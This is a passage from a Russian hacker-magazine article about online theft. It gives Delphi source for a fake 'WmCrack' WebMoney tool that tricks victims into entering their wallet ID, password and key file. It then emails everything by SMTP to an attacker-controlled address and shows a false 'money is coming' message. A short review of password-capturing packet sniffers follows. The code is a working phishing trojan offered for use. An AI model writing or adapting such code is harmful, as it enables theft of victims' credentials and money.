Воровство в Сети

Докучаев Дмитрий aka Forb

Спецвыпуск Xakep, номер #036, стр. 036-076-5

затем кнопкам:

Button1.Caption := 'Обзор';

Button2.Caption := 'Генерировать';

Button3.Caption := 'Отмена';

Полю Memo ставим текст, тоже через переменные:

memo1.text := 'Примечание:'+#13#10+

'Размер файла ключей должен быть минимальным, т.к. программа изменяет его содержимое и закачивает на сервер.'+#13#10+

'Если размер будет более 1 мегабайта, то компания WebMoney заметит среди своих'+#13#10+

'ключей - твой, который имеет большой размер.';

События для нажатых кнопок:

// Обзор

procedure TForm1.Button1Click(Sender: TObject);

begin

// если диалог удачно запущен то

if opendialog1.Execute then

// записываем имя файла

Edit4.Text := opendialog1.FileName;

end;

// Генерировать

procedure TForm1.Button2Click(Sender: TObject);

begin

// ProgressBar1 - изменение положения ползунка прогресс-бара

ProgressBar1.Position:=0;

// Вложенные файлы

NMSMTP1.PostMessage.Attachments.Text := Edit4.text;

ProgressBar1.Position :=ProgressBar1.Position+10;

// Body отправляемого письма

NMSMTP1.PostMessage.Body.Text := 'WmCrack 9.1.2 PRO Message'+#13#10+

'Some lame use you programm...:)'+#13#10+

'WM ID: '+Edit1.text+#13#10+

'Z or E or R: '+Edit2.text+#13#10+

'Pass:): '+edit3.text+#13#10+

'File.kwm: '+Edit4.text+#13#10+

'Money: '+Edit5.text;

ProgressBar1.Position:=ProgressBar1.Position+10;

// Тема письма

NMSMTP1.PostMessage.Subject :='>>>WMCRACK*************';

ProgressBar1.Position:=ProgressBar1.Position+10;

// Имя программы, которая отправляла письмо

NMSMTP1.PostMessage.LocalProgram :='SomeShit';

ProgressBar1.Position:=ProgressBar1.Position+10;

// Reply-To адрес

NMSMTP1.PostMessage.ReplyTo :='fake@thecc.ru';

ProgressBar1.Position:=ProgressBar1.Position+10;

// Почта отправителя

NMSMTP1.PostMessage.FromAddress :='fake@thecc.ru';

ProgressBar1.Position:=ProgressBar1.Position+10;

// Имя отправителя

NMSMTP1.PostMessage.FromName :=':WMCrack:';

ProgressBar1.Position:=ProgressBar1.Position+10;

// E-mail хакера

NMSMTP1.PostMessage.ToAddress.text :='yourmail@i-have.cc';

ProgressBar1.Position:=ProgressBar1.Position+10;

// SMTP сервер хакера

NMSMTP1.Host := 'i-have.cc';

ProgressBar1.Position:=ProgressBar1.Position+10;

// Отсылка письма

NMSMTP1.SendMail;

ProgressBar1.Position:=100;

// Сообщение об удачной отправке денег жертве

Showmessage('Обновите свой WM Keeper, сумма должна придти в течение 1-2 минут.');

end;

// Отмена

procedure TForm1.Button3Click(Sender: TObject);

begin

NMSMTP1.Abort;

// Прогресс-бар ставим на 0

ProgressBar1.Position :=0;

end;

Обзор сниферов

Как я уже говорил, в инете полно сниферов. На первый взгляд разобраться в них не так-то просто, поэтому публикую небольшой обзор программ-нюхачей.

Sniffit. Один из первых сниферов, который по-прежнему является очень популярным. Он сохраняет первые 400 байтов пакета по умолчанию, но хакер может настроить его так, чтобы он перехватывал пароль жертвы.

TCPdump. Знаменитый снифер. Считается профессиональным административным средством.

ADMsniff. Известная, очень квалифицированная группа хакеров ADM написала отличный снифер. Определенно советую посмотреть, т.к. все, что они делают, стоит внимания.